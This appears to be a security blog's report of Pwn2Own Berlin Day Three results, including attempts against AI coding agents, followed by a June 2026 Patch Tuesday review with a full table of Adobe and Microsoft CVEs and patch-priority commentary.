Day Three added to an already historic event, bringing the final totals to $1,298,250 awarded for 47 unique 0-day vulnerabilities across three days of competition. DEVCORE claimed the title of Master of Pwn with a commanding 50.5 points and $505,000 — a dominant performance across all three days. STARLabs SG finished in second with 25 points and $242,500, followed by Out Of Bounds in third with 12.75 points and $95,750.

Congratulations to all the researchers who participated, and a special thank you to OffensiveCon for hosting. We'll see you at the next Pwn2Own.

Here are the results of Day Three:

SUCCESS/COLLISION - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used two bugs to exploit Red Hat Linux, but one of the bugs was previously known. He still earns $7,000 and 1.5 Master of Pwn points.

SUCCESS - Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) used an integer overflow to escalate privileges on #Windows 11. Their 5th round win nets them $7,500 and 3 Master of Pwn points.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. abused an external control to exploit OpenAI Codex and pop a host of calcs. He earns $20,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Giuseppe Calì of Summoning Team (@SummoningTeam) could not get their exploit of VMware ESXi working within the time allotted.

COLLISON - Although successful on stage, Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security targeted Anthropic Claude Code, hitting a one-vulnerability collision with a previous attempt and earning $20,000 and 2 Master of Pwn points.

SUCCESS - Hyunwoo Kim (@v4bel) chained a use-after-free and uninitialized memory bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the fourth round, earning $5,000 and 2 Master of Pwn points.

SUCCESS - splitline (@splitline) of DEVCORE Research Team chained 2 bugs to exploit Microsoft SharePoint, earning $100,000 and 10 Master of Pwn points.

SUCCESS - Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) used a Memory Corruption bug to exploit VMware ESXi with the Cross-tenant Code Execution add-on, earning $200,000 and 20 Master of Pwn points.

COLLISON - While Byung Young Yi (@yibarrack) of Out Of Bounds successfully demonstrated their exploit of Anthropic Claude Code, the bug used had been previously disclosed. They still earn $20,000 and 2 Master of Pwn points.

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

